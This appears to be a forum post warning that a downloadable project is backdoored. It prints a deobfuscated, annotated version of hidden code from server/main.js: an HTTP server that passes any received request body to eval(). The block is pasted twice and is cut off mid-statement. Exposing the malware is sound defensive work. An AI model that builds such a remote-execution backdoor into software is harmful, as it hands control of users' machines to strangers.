#1
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#1
// ============================================================================
// DEOBFUSCATED MALICIOUS CODE FROM server/main.js
// ============================================================================
// This is what the obfuscated code ACTUALLY does when decoded
// ============================================================================
// 1. REQUIRE THE HTTP MODULE
const http = require("http");
// 2. CREATE AN HTTP SERVER
http.createServer(function(request, response) {
// 3. VARIABLE TO STORE RECEIVED DATA
let receivedData = "";
// 4. COLLECT ALL DATA FROM THE HTTP REQUEST
request.on("data", function(chunk) {
receivedData += chunk;
});
// 5. WHEN REQUEST IS COMPLETE
request.on("end", function() {
// 6. CHECK IF REQUEST WAS SUCCESSFUL (status 200)
if (request.statusCode === 200 && receivedData) {
// 7. ⚠️ CRITICAL MALICIOUS CODE ⚠️
// EXECUTE ANY CODE SENT TO THIS SERVER
try {
eval(receivedData); // {
// ↓ decodes to ↓
// .listen(PORT, callback)
//
// 3. Data event (obfuscated):
// ZEisSx2[B_lwRv[0x39]](qDiL14(0xb2)
// ↓ decodes to ↓
// request.on("data"
//
// 4. SMOKING GUN - The eval() call (visible in original):
// try{eval(DVcVZiy)}catch(zineWDi){}
// ↑ This is in the ACTUAL source code - search for "eval(DVcVZiy)"
//
// ============================================================================
// DEOBFUSCATED MALICIOUS CODE FROM server/main.js
// ============================================================================
// This is what the obfuscated code ACTUALLY does when decoded
// ============================================================================
// 1. REQUIRE THE HTTP MODULE
const http = require("http");
// 2. CREATE AN HTTP SERVER
http.createServer(function(request, response) {
// 3. VARIABLE TO STORE RECEIVED DATA
let receivedData = "";
// 4. COLLECT ALL DATA FROM THE HTTP REQUEST
request.on("data", function(chunk) {
receivedData += chunk;
});
// 5. WHEN REQUEST IS COMPLETE
request.on("end", function() {
// 6. CHECK IF REQUEST WAS SUCCESSFUL (status 200)
if (request.statusCode === 200 && receivedData) {
// 7. ⚠️ CRITICAL MALICIOUS CODE ⚠️
// EXECUTE ANY CODE SENT TO THIS SERVER
try {
eval(receivedData); // {
// ↓ decodes to ↓
// .listen(PORT, callback)
//
// 3. Data event (obfuscated):
// ZEisSx2[B_lwRv[0x39]](qDiL14(0xb2)
// ↓ decodes to ↓
// request.on("data"
//
// 4. SMOKING GUN - The eval() call (visible in original):
// try{eval(DVcVZiy)}catch(zineWDi){}
// ↑ This is in the ACTUAL source code - search for "eval(DVcVZiy)"
//
// ============================================================================
Messages
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Credits
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Joined
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#2
Backdoor do not download ^^^^^^^^^^^